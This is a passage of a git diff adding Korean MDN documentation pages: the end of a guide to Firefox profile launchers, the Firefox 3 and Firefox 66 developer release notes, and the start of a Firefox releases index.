+<h3 id="Mac_OS_X_2">Mac OS X</h3>
+
+<p>You can find a useful tutorial to set up custom launchers here: <a href="https://spf13.com/post/managing-multiple-firefox-profiles-in-os-x/" title="Managing Multiple Firefox Profiles in OSX">Managing Multiple Firefox Profiles in OSX</a>. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Leave off the profile name if you want the profile selector to show up every time you launch.</p>
+
+<h2 id="Setting_up_multiple_profiles_for_different_Firefox_channels">Setting up multiple profiles for different Firefox channels</h2>
+
+<p>This section will be especially helpful if you are a developer, wanting to work with multiple channels, and each having their separate launcher.</p>
+
+<h3 id="Windows_2">Windows</h3>
+
+<p>In Windows, the Developer and Nightly builds get their own directory in the "Programs" folder, so you don't have to worry about where to store the downloaded files. However, all three will attempt to use the same profile by default. You won't want to keep this behavior, because the different channels have different levels of features. To set each launcher, follow the Windows instructions at <a href="#Windows">Windows Launcher</a>.</p>
+
+<h3 id="Linux">Linux</h3>
+
+<p>In Linux, things aren't as automatically set up. You will likely get a prompt to download a tar.bz2 file to extract from. Extract the files to a new directory, and use the new launcher instructions from <a href="#Linux">here</a>. The only change you will need to make is the command path. You will want to set it to the directory where you extracted the Firefox channel's tar.bz2 file, and the executable "firefox" file located within this directory. The remaining profile assignment methods will remain the same. You will want to, for sure, add the <code>-no-remote</code> part to the end of the command field, so that you could run multiple instances at the same time.</p>
+
+<h3 id="Mac_OS_X_3">Mac OS X</h3>
+
+<p>You can find a useful tutorial to set up custom launchers here: <a href="https://spf13.com/post/managing-multiple-firefox-profiles-in-os-x/" title="Managing Multiple Firefox Profiles in OSX">Managing Multiple Firefox Profiles in OSX</a>. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Also, you'll want to change the path in the do shell script to point to the correct .app file for the Firefox channel you want to target.</p>
diff --git a/files/ko/mozilla/firefox/releases/3/index.html b/files/ko/mozilla/firefox/releases/3/index.html
new file mode 100644
index 0000000000..82ff395697
--- /dev/null
+++ b/files/ko/mozilla/firefox/releases/3/index.html
@@ -0,0 +1,273 @@
+---
+title: Firefox 3 for developers
+slug: Mozilla/Firefox/Releases/3
+tags:
+  - Firefox 3
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Firefox/Releases/3
+---
+<p>If you're a developer trying to get a handle on all the new features in Firefox 3, this is the perfect place to start. This article provides a list of the new articles covering features added to Firefox 3. While it doesn't necessarily cover every little change, it will help you learn about the major improvements.</p>
+
+<h2 id="New_developer_features_in_Firefox_3" name="New_developer_features_in_Firefox_3">New developer features in Firefox 3</h2>
+
+<h3 id="For_web_site_and_application_developers" name="For_web_site_and_application_developers">For web site and application developers</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Updating_web_applications_for_Firefox_3" title="en-US/docs/Updating_web_applications_for_Firefox_3">Updating web applications for Firefox 3</a></dt>
+ <dd>Provides information about changes you may need to make to your web site or web application to take advantage of new features in Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Online_and_offline_events" title="en-US/docs/Online_and_offline_events">Online and offline events</a></dt>
+ <dd>Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="en-US/docs/Web-based_protocol_handlers">Web-based protocol handlers</a></dt>
+ <dd>You can now register web applications as protocol handlers using the <code>navigator.registerProtocolHandler()</code> method.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="en-US/docs/Drawing_text_using_a_canvas">Drawing text using a canvas</a></dt>
+ <dd>You can now draw text in a canvas using a non-standardized API supported by Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Canvas_tutorial/Transformations#Transforms" title="en-US/docs/Canvas_tutorial/Transformations#Transforms">Transform support for canvas</a></dt>
+ <dd>Firefox now supports the <code>transform()</code> and <code>setTransform()</code> methods on canvases.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_microformats" title="en-US/docs/Using_microformats">Using microformats</a></dt>
+ <dd>Firefox now has APIs for working with microformats.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Drag_and_drop_events" title="en-US/docs/Drag_and_drop_events">Drag and drop events</a></dt>
+ <dd>Firefox 3 supports new events that are sent to the source node for a drag operation when the drag begins and ends.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Focus_management_in_HTML" title="en-US/docs/Focus_management_in_HTML">Focus management in HTML</a></dt>
+ <dd>The new HTML 5 <code>activeElement</code> and <code>hasFocus</code> attributes are supported.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Offline_resources_in_Firefox" title="en-US/docs/Offline_resources_in_Firefox">Offline resources in Firefox</a></dt>
+ <dd>Firefox now lets web applications request that resources be cached to allow the application to be used while offline.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/CSS_improvements_in_Firefox_3" title="en-US/docs/CSS_improvements_in_Firefox_3">CSS improvements in Firefox 3</a></dt>
+ <dd>Firefox 3 features a number of improvements in its CSS support.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM_improvements_in_Firefox_3" title="en-US/docs/DOM_improvements_in_Firefox_3">DOM improvements in Firefox 3</a></dt>
+ <dd>Firefox 3 offers a number of new features in Firefox 3's DOM implementation, including support for several Internet Explorer extensions to the DOM.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/New_in_JavaScript_1.8" title="en-US/docs/New_in_JavaScript_1.8">JavaScript 1.8 support</a></dt>
+ <dd>Firefox 3 offers JavaScript 1.8.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/EXSLT" title="en-US/docs/EXSLT">EXSLT support</a></dt>
+ <dd>Firefox 3 provides support for a substantial subset of the <a href="/en-US/docs/EXSLT" title="en-US/docs/EXSLT">EXSLT</a> extensions to <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/SVG_improvements_in_Firefox_3" title="en-US/docs/SVG_improvements_in_Firefox_3">SVG improvements in Firefox 3</a></dt>
+ <dd>SVG support in Firefox 3 has been upgraded significantly, with support for over two dozen new filters, several new elements and attributes, and other improvements.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Animated_PNG_graphics" title="en-US/docs/Animated_PNG_graphics">Animated PNG graphics</a></dt>
+ <dd>Firefox 3 supports the animated PNG (APNG) image format.</dd>
+</dl>
+
+<h3 id="For_XUL_and_extension_developers" name="For_XUL_and_extension_developers">For XUL and extension developers</h3>
+
+<h4 id="Notable_changes_and_improvements" name="Notable_changes_and_improvements">Notable changes and improvements</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Updating_extensions_for_Firefox_3" title="en-US/docs/Updating_extensions_for_Firefox_3">Updating extensions for Firefox 3</a></dt>
+ <dd>Provides a guide to the things you'll need to do to update your extension to work with Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XUL_improvements_in_Firefox_3" title="en-US/docs/XUL_improvements_in_Firefox_3">XUL improvements in Firefox 3</a></dt>
+ <dd>Firefox 3 offers a number of new XUL elements, including new sliding scales, the date and time pickers, and spin buttons.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Templates_in_Firefox_3" title="en-US/docs/Templates_in_Firefox_3">Templates in Firefox 3</a></dt>
+ <dd>Templates have been significantly improved in Firefox 3. The key improvement allows the use of custom query processors to allow data sources other than RDF to be used.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates" title="en-US/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates">Securing updates</a></dt>
+ <dd>In order to provide a more secure add-on upgrade path for users, add-ons are now required to provide a secure method for obtaining updates before they can be installed. Add-ons hosted at <a class="external" href="http://addons.mozilla.org">AMO</a> automatically provide this. Any add-ons installed that do not provide a secure update method when the user upgrades to Firefox 3 will be automatically disabled. Firefox will however continue to check for updates to the extension over the insecure path and attempt to install any update offered (installation will fail if the update also fails to provide a secure update method).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Places_Developer_Guide" title="en-US/docs/Places_migration_guide">Places migration guide</a></dt>
+ <dd>An article about how to update an existing extension to use the Places API.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Download_Manager_improvements_in_Firefox_3" title="en-US/docs/Download_Manager_improvements_in_Firefox_3">Download Manager improvements in Firefox 3</a></dt>
+ <dd>The Firefox 3 Download Manager features new and improved APIs, including support for multiple progress listeners.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XPCOM_Interface_Reference/Using_nsILoginManager" title="en-US/docs/Using_nsILoginManager">Using nsILoginManager</a></dt>
+ <dd>The Password Manager has been replaced by the new Login Manager.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XBL/XBL_1.0_Reference/Elements#binding" title="en-US/docs/XBL/XBL_1.0_Reference/Elements#binding">Embedding XBL bindings</a></dt>
+ <dd>You can now use the <code>data:</code> URL scheme from chrome code to embed XBL bindings directly instead of having them in separate XML files.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Localizing_extension_descriptions" title="en-US/docs/Localizing_extension_descriptions">Localizing extension descriptions</a></dt>
+ <dd>Firefox 3 offers a new method for localizing add-on metadata. This lets the localized details be available as soon as the add-on has been downloaded, as well as when the add-on is disabled.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Localization_and_Plurals" title="en-US/docs/Localization_and_Plurals">Localization and Plurals</a></dt>
+ <dd>Firefox 3 adds the new PluralForm module, which provides tools to aid in correctly pluralizing words in multiple localizations.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Theme_changes_in_Firefox_3" title="en-US/docs/Theme_changes_in_Firefox_3">Theme changes in Firefox 3</a></dt>
+ <dd>Notes and information of use to people who want to create themes for Firefox 3.</dd>
+</dl>
+
+<h4 id="New_components_and_functionality" name="New_components_and_functionality">New components and functionality</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Toolkit_API/FUEL" title="en-US/docs/FUEL">FUEL Library</a></dt>
+ <dd>FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Places" title="en-US/docs/Places">Places</a></dt>
+ <dd>The history and bookmarks APIs have been completely replaced by the new <a href="/en-US/docs/Places" title="en-US/docs/Places">Places</a> API.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/nsIIdleService" title="en-US/docs/nsIIdleService">Idle service</a></dt>
+ <dd>Firefox 3 offers the new {{Interface("nsIIdleService")}} interface, which lets extensions determine how long it's been since the user last pressed a key or moved their mouse.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/nsIZipWriter" title="en-US/docs/nsIZipWriter">ZIP writer</a></dt>
+ <dd>The new {{Interface("nsIZipWriter")}} interface lets extensions create ZIP archives.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Full_page_zoom" title="en-US/docs/Full_page_zoom">Full page zoom</a></dt>
+ <dd>Firefox 3 improves the user experience by offering full page zoom in addition to text-only zoom.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Interfacing_with_the_XPCOM_cycle_collector" title="en-US/docs/Interfacing_with_the_XPCOM_cycle_collector">Interfacing with the XPCOM cycle collector</a></dt>
+ <dd>XPCOM code can now take advantage of the cycle collector, which helps ensure that unused memory gets released instead of leaking.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/The_Thread_Manager" title="en-US/docs/The_Thread_Manager">The Thread Manager</a></dt>
+ <dd>Firefox 3 provides the new {{Interface("nsIThreadManager")}} interface, along with new interfaces for threads and thread events, which provides a convenient way to create and manage threads in your code.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/JavaScript_code_modules" title="en-US/docs/JavaScript_modules">JavaScript modules</a></dt>
+ <dd>Firefox 3 now offers a new shared code module mechanism that lets you easily create modules in JavaScript that can be loaded by extensions and applications for use, much like shared libraries.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/nsIJSON" title="en-US/docs/nsIJSON">The <code>nsIJSON</code> interface</a></dt>
+ <dd>Firefox 3 offers the new {{Interface("nsIJSON")}} interface, which offers high-performance encoding and decoding of <a href="/en-US/docs/JSON" title="en-US/docs/JSON">JSON</a> strings.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XPCOM_Interface_Reference/nsIParentalControlsService" title="en-US/docs/nsIParentalControlsService">The nsIParentalControlsService interface</a></dt>
+ <dd>Firefox 3 now supports the Microsoft Windows Vista parental controls feature, and allows code to interact with it.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_content_preferences" title="en-US/docs/Using_content_preferences">Using content preferences</a></dt>
+ <dd>Firefox 3 includes a new service for getting and setting arbitrary site-specific preferences that extensions as well as core code can use to keep track of their users' preferences for individual sites.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Monitoring_plugins" title="en-US/docs/Monitoring_plugins">Plug-in Monitoring</a></dt>
+ <dd>A new component of the plugin system is now available to measure how long it takes plugins (e.g., Macromedia Flash) to execute their calls.</dd>
+</dl>
+
+<h4 id="Fixed_bugs" name="Fixed_bugs">Fixed bugs</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Notable_bugs_fixed_in_Firefox_3" title="en-US/docs/Notable_bugs_fixed_in_Firefox_3">Notable bugs fixed in Firefox 3</a></dt>
+ <dd>This article provides information about bugs that have been fixed in Firefox 3.</dd>
+</dl>
+
+<h2 id="New_features_for_end_users" name="New_features_for_end_users">New features for end users</h2>
+
+<h3 id="User_experience" name="User_experience">User experience</h3>
+
+<ul>
+ <li><strong>Easier password management.</strong> An information bar at the top of the browser window now appears to allow you to save passwords after a successful login.</li>
+ <li><strong>Simplified add-on installation.</strong> You can now install extensions from third-party download sites in fewer clicks, thanks to the removal of the add-on download site whitelist.</li>
+ <li><strong>New Download Manager.</strong> The download manager makes it easier to locate your downloaded files.</li>
+ <li><strong>Resumable downloads.</strong> You can now resume downloads after restarting the browser or resetting your network connection.</li>
+ <li><strong>Full page zoom.</strong> From the View menu and using keyboard shortcuts, you can now zoom in and out on the content of entire pages -- this scales not just the text but the layout and images as well.</li>
+ <li><strong>Tab scrolling and quickmenu.</strong> Tabs are easier to locate with the new tab scrolling and tab quickmenu features.</li>
+ <li><strong>Save what you were doing.</strong> Firefox 3 prompts you to see if you'd like to save your current tabs when you exit Firefox.</li>
+ <li><strong>Optimized Open in Tabs behavior.</strong> Opening a folder of bookmarks in tabs now appends the new tabs instead of replacing the existing ones.</li>
+ <li><strong>Easier to resize location and search bars.</strong> You can now easily resize the location and search bars using a simple resize handle between them.</li>
+ <li><strong>Text selection improvements.</strong> You can now select multiple ranges of text using the Control (Command on Macintosh) key. Double-clicking and dragging now selects in "word-by-word" mode. Triple-clicking selects an entire paragraph.</li>
+ <li><strong>Find toolbar.</strong> The Find toolbar now opens with the current selection.</li>
+ <li><strong>Plugin management.</strong> Users can now disable individual plugins in the Add-on Manager.</li>
+ <li><strong>Integration with Windows Vista.</strong> Firefox's menus now display using Vista's native theme.</li>
+ <li><strong>Integration with Mac OS X.</strong> Firefox now supports <a class="external" href="http://growl.info/">Growl</a> for notifications of completed downloads and available updates.</li>
+ <li><strong>Star button.</strong> The new star button in the location bar lets you quickly add a new bookmark with a single click. A second click lets you file and tag your new bookmark.</li>
+ <li><strong>Tags.</strong> You can now associate keywords with your bookmarks to easily sort them by topic.</li>
+ <li><strong>Location bar and auto-complete.</strong> Type the title or tag of a page in the location bar to quickly find the site you were looking for in your history and bookmarks. Favicons, bookmark, and tag indicators help you see where the results are coming from.</li>
+ <li><strong>Smart Bookmarks folder.</strong> Firefox's new Smart Bookmarks folder offers quick access to your recently bookmarked and tagged places, as well as pages you visit frequently.</li>
+ <li><strong>Bookmarks and History Organizer.</strong> The new unified bookmarks and history organizer lets you easily search your history and bookmarks with multiple views and smart folders for saving your frequent searches.</li>
+ <li><strong>Web-based protocol handlers.</strong> Web applications, such as your favorite web mail provider, can now be used instead of desktop applications for handling <code>mailto:</code> links from other sites. Similar support is provided for other protocols as well. (Note that web applications do have to register themselves with Firefox before this will work.)</li>
+ <li><strong>Easy to use Download Actions.</strong> A new Applications preferences pane provides an improved user interface for configuring handlers for various file types and protocol schemes.</li>
+ <li><strong>Improved look and feel.</strong> Graphics and font handling have been improved to make web sites look better on your screen, including sharper text rendering and better support for fonts with ligatures and complex scripts. In addition, Mac and Linux (Gnome) users will find that Firefox feels more like a native application for their platform than ever, with a new, native, look and feel.</li>
+ <li><strong>Color management support.</strong> By setting the <code>gfx.color_management.enabled</code> preference in <code>{{mediawiki.external('about:config')}}</code>, you can ask Firefox to use the color profiles embedded in images to adjust the colors to match your computer's display.</li>
+ <li><strong>Offline support.</strong> Web applications can take advantage of new features to support being used even when you don't have an Internet connection.</li>
+</ul>
+
+<h3 id="Security_and_privacy" name="Security_and_privacy">Security and privacy</h3>
+
+<ul>
+ <li><strong>One-click site information.</strong> Want to know more about the site you're visiting? Click the site's icon in the location bar to see who owns it. Identify information is prominently displayed and easier than ever to understand.</li>
+ <li><strong>Malware protection.</strong> Firefox 3 warns you if you arrive at a web site that is known to install viruses, spyware, trojans, or other dangerous software (known as malware). You can see what the warning looks like by <a class="link-https" href="https://www.mozilla.com/firefox/its-an-attack.html">clicking here</a>.</li>
+ <li><strong>Web forgery protection enhanced.</strong> Now when you visit a page that's suspected of being a forgery, you're shown a special page instead of the contents of the page with a warning. <a class="link-https" href="https://www.mozilla.com/firefox/its-a-trap.html">Click here</a> to see what it looks like.</li>
+ <li><strong>Easier to understand SSL errors.</strong> The errors presented when an invalid SSL certificate is encountered have been clarified to make it easier to understand what the problem is.</li>
+ <li><strong>Out-of-date add-on protection.</strong> Firefox 3 now automatically checks add-on and plugin versions and disables older, insecure versions.</li>
+ <li><strong>Secure add-on updates.</strong> Add-on update security has been improved by disallowing add-ons that use an insecure update mechanism.</li>
+ <li><strong>Anti-virus integration.</strong> Firefox 3 now informs anti-virus software when executable files are downloaded.</li>
+ <li><strong>Windows Vista parental controls support.</strong> Firefox 3 supports the Vista system-wide parental control setting for disabling file downloads.</li>
+</ul>
+
+<h3 id="Performance" name="Performance">Performance</h3>
+
+<ul>
+ <li><strong>Reliability.</strong> Firefox 3 now stores bookmarks, history, cookies, and preferences in a transactionally secure database format. This means your data is protected against loss even if your system crashes.</li>
+ <li><strong>Speed.</strong> Firefox 3 has gotten a performance boost by completely replacing the part of the software that handles drawing to your screen, as well as to how page layout work is handled.</li>
+ <li><strong>Memory use reduced.</strong> Firefox 3 is more memory efficient than ever, with over 300 memory "leak" bugs fixed and new features to help automatically locate and dispose of leaked memory blocks.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<div>{{Firefox_for_developers('2')}}</div>
diff --git a/files/ko/mozilla/firefox/releases/66/index.html b/files/ko/mozilla/firefox/releases/66/index.html
new file mode 100644
index 0000000000..242b1b0ce6
--- /dev/null
+++ b/files/ko/mozilla/firefox/releases/66/index.html
@@ -0,0 +1,157 @@
+---
+title: Firefox 66 for developers
+slug: Mozilla/Firefox/Releases/66
+translation_of: Mozilla/Firefox/Releases/66
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">본 문서는, 개발자를 대상으로 Firefox 66에서 변경된 내용을 알려드립니다.</p>
+
+<h2 id="웹_개발자를_위한_변경사항">웹 개발자를 위한 변경사항</h2>
+
+<h3 id="개발자_도구">개발자 도구</h3>
+
+<ul>
+ <li>JavaScript getters can now be executed from the auto-completion popup in the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> ({{bug(1499289)}}).</li>
+ <li>The Window methods {{domxref("Window.alert()", "alert()")}}, {{domxref("Window.prompt()","prompt()")}}, and {{domxref("Window.confirm()","confirm()")}} now work again in <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>, after a period of being broken ({{bug(1273997)}}).</li>
+ <li>You can copy the output of the console to the clipboard by right-clicking and selecting "<strong>Export visible messages to clipboard</strong>" from the context menu.</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>UTF-8-encoded HTML (and plain text) files loaded from <code>file:</code> URLs are now supported without <code>&lt;meta charset="utf-8"&gt;</code> or the UTF-8 BOM, making it easier to work on such files locally before uploading them to a server. You still need to make sure that the server sends <code>charset=utf-8</code> in the <code>Content-Type</code> HTTP header for such files, otherwise the detection mechanism used for local files would break incremental loading in the network case ({{bug(1071816)}}).</li>
+</ul>
+
+<h4 id="제거사항">제거사항</h4>
+
+<ul>
+ <li>The <code>x-moz-errormessage</code> attribute has been removed from the {{HTMLElement("input")}} element ({{bug(1513890)}}). You should use  {{domxref("Constraint_validation", "Constraint validation features", "", "1")}} to implement custom validation messages instead.</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/css-scroll-anchoring/">Scroll anchoring</a> has been implemented in Firefox Desktop (but not mobile yet), which includes the {{cssxref("overflow-anchor")}} property ({{bug(1305957)}}).</li>
+ <li>We've implemented the case-sensitive <a href="/en-US/docs/Web/CSS/Attribute_selectors">attribute selector</a> modifier, <code>s</code> ({{Bug(1512386)}}).</li>
+ <li>Several <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">logical property</a> shorthands have landed, along with the flow-relative border radius properties:
+  <ul>
+   <li>{{cssxref("padding-block")}} and {{cssxref("padding-inline")}} ({{bug(1519847)}}).</li>
+   <li>{{cssxref("margin-block")}} and {{cssxref("margin-inline")}} ({{bug(1519944)}}).</li>
+   <li>{{cssxref("inset")}}, {{cssxref("inset-block")}}, and {{cssxref("inset-inline")}} ({{bug(1520229)}}).</li>
+   <li>{{cssxref("border-block-color")}}, {{cssxref("border-block-style")}}, {{cssxref("border-block-width")}}, {{cssxref("border-inline-color")}}, {{cssxref("border-inline-style")}}, and {{cssxref("border-inline-width")}} ({{bug(1520236)}}).</li>
+   <li>{{cssxref("border-block")}} and {{cssxref("border-inline")}} ({{bug(1520396)}}).</li>
+   <li>{{cssxref("border-start-start-radius")}}, {{cssxref("border-start-end-radius")}}, {{cssxref("border-end-start-radius")}}, and {{cssxref("border-end-end-radius")}} ({{bug(1520684)}}).</li>
+  </ul>
+ </li>
+ <li>We implemented the {{cssxref("@media/overflow-inline", "overflow-inline")}} and {{cssxref("@media/overflow-block", "overflow-block")}} media queries ({{Bug(1422235)}}).</li>
+ <li>{{cssxref("grid-template-columns")}} and {{cssxref("grid-template-rows")}} are now animatable, as per the rules set out in their specs ({{bug(1348519)}}).</li>
+ <li>We now support {{cssxref("calc")}} with percentages for table cells and column widths ({{bug(957915)}}).</li>
+ <li>The <code>min-content</code> and <code>max-content</code> keywords are now available unprefixed ({{bug(1322780)}}). These can be set on:
+  <ul>
+   <li>{{cssxref("width")}}</li>
+   <li>{{cssxref("height")}}</li>
+   <li>{{cssxref("flex-basis")}}</li>
+   <li>{{cssxref("min-width")}}</li>
+   <li>{{cssxref("max-width")}}</li>
+   <li>{{cssxref("min-height")}}</li>
+   <li>{{cssxref("max-height")}}</li>
+   <li>{{cssxref("min-block-size")}}</li>
+   <li>{{cssxref("min-inline-size")}}</li>
+   <li>{{cssxref("max-block-size")}}</li>
+   <li>{{cssxref("max-inline-size")}}</li>
+   <li>{{cssxref("block-size")}}</li>
+   <li>{{cssxref("inline-size")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>추가사항 없음.</em></p>
+
+<h4 id="제거사항_2">제거사항</h4>
+
+<ul>
+ <li><code><a href="/en-US/docs/XML_introduction/xml:base">xml:base</a></code> 속성의 지원이 제거되었습니다. ({{Bug(903372)}})</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p><em>변경사항 없음.</em></p>
+
+<h3 id="API">API</h3>
+
+<h4 id="New_APIschanges">New APIs/changes</h4>
+
+<ul>
+ <li>Autoplaying audio will be blocked by default soon after 66 becomes the release version of Firefox ({{bug(1487844)}}, see {{bug(1535667)}} for rollout details). The feature will be rolled out gradually to users until everyone has it.</li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The {{domxref("HTMLSlotElement.assignedElements()")}} method has been implemented ({{bug(1425685)}}).</li>
+ <li>The {{domxref("TextEncoder.encodeInto()")}} method has been implemented ({{bug(1514664)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<ul>
+ <li>The {{domxref("InputEvent.inputType")}} property has been implemented ({{bug(1447239)}}).</li>
+ <li>The {{domxref("Window.event")}} and {{domxref("Event.returnValue")}} properties — originally proprietary IE features, then also supported across other browsers for compatibility purposes — have been re-introduced in Firefox 66, after first being added in versions 63 and 64 respectively but then removed again due to compatibility issues. </li>
+ <li>From 66 onwards, when the {{domxref("KeyboardEvent.keyCode")}} property of the {{event("keypress")}} event object is 0, the value will be the same as {{domxref("KeyboardEvent.charCode")}}. Conversely, when <code>charCode</code> is 0, it will be the same as <code>keyCode</code>. This mirroring behavior matches other browsers and is expected to solve most associated compatibility issues, however user agent sniffing might cause further issues in some JavaScript libraries. Note that in spec terms, we've switched from the <em>split model</em> to the <em>conflated model</em> (see <a href="https://w3c.github.io/uievents/#determine-keypress-keyCode">How to determine keyCode for keypress events</a> in the UI Event spec).</li>
+</ul>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li>The {{domxref("MediaDevices")}} method {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, available as <code>navigator.mediaDevices.getDisplayMedia()</code>, has been added and synchronized with the specification. This method lets you capture a screen or part of a screen as a {{domxref("MediaStream")}} for manipulation or sharing ({{bug(1321221)}}).</li>
+ <li>As a step toward eventually deprecating the Firefox-specific {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}-based method for capturing screen and window contents, the non-standard <code>mediaSource</code> constraint now treats the values <code>screen</code> and <code>window</code> identically. Both now present a list of both screens and windows for the user to choose from ({{bug(1474376)}}).</li>
+ <li>{{domxref("RTCRtpStreamStats.qpSum", "qpSum")}} has been added to local outbound {{domxref("RTCRTPStreamStats")}} objects. This measures the total of the Quantization Parameter values for every frame sent or received on the video track. The higher this number, the more compressed the stream probably is ({{bug(1347070)}}).</li>
+ <li>In a step along the road toward implementing support for Feature Policy in a future Firefox update, {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} can no longer be used in situations in which there is no proper origin for the content, such as when called from a sandboxed {{HTMLElement("iframe")}} or from a <code>data</code> URL entered into the address bar by the user. For more specifics and details, see {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getUserMedia", "Security")}} ({{bug(1371741)}}).</li>
+</ul>
+
+<h4 id="제거사항_3">제거사항</h4>
+
+<ul>
+ <li>The legacy WebRTC {{domxref("PeerConnection.getStats()")}} method has been removed, along with associated types ({{bug(1328194)}}).</li>
+</ul>
+
+<h3 id="Networking">Networking</h3>
+
+<ul>
+ <li>{{httpheader("Accept")}} 헤더의 기본 값이 <code>*/*</code>로 변경되었습니다. ({{bug(1417463)}})</li>
+</ul>
+
+<h3 id="보안">보안</h3>
+
+<p><em>변경사항 없음.</em></p>
+
+<h3 id="플러그인">플러그인</h3>
+
+<p><em>변경사항 없음.</em></p>
+
+<h2 id="애드온_개발자를_위한_변경사항">애드온 개발자를 위한 변경사항</h2>
+
+<h3 id="API_변화">API 변화</h3>
+
+<h4 id="Menus">Menus</h4>
+
+<ul>
+ <li>Extension menu items of the "bookmark" {{WebExtAPIRef("menus.ContextType", "type")}} will also appear in the Bookmarks sidebar (<kbd>Ctrl</kbd> + <kbd>B</kbd>) and Library window (<kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd>) ({{bug(1419195)}}).</li>
+</ul>
+
+<h3 id="Manifest_changes">Manifest changes</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/66/">Site compatibility for Firefox 66</a></li>
+</ul>
+
+<h2 id="구_버젼">구 버젼</h2>
+
+<p>{{Firefox_for_developers(65)}}</p>
diff --git a/files/ko/mozilla/firefox/releases/index.html b/files/ko/mozilla/firefox/releases/index.html
new file mode 100644
index 0000000000..7caccc67f2
--- /dev/null
+++ b/files/ko/mozilla/firefox/releases/index.html
@@ -0,0 +1,23 @@
+---
+title: Firefox 개발자 배포노트
+slug: Mozilla/Firefox/Releases
+tags:
+  - Firefox
+  - Landing
+  - Mozilla
+  - Release
+translation_of: Mozilla/Firefox/Releases
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">아래에는 모든 Firefox 배포에 대한 개발자 배포 정보에 대한 링크가 나와 있습니다. 이 사랑스럽게 만들어진 노트들은 어떤 기능과 API가 추가되고 개선되었는지, 그리고 각 버전의 Firefox에서 어떤 버그가 제거되었는지에 대한 세부사항을 제공합니다. 모두 여러분과 같은 개발자들이 가장 필요로 하는 정보를 제공하기 위해 작성되되어 있습니다. 감사합니다.</p>
+
+<div class="multiColumnList">{{ListSubpages("",1,1,1)}}</div>
+
+<p>어휴! Firefoxen이 엄청 많잔아!</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
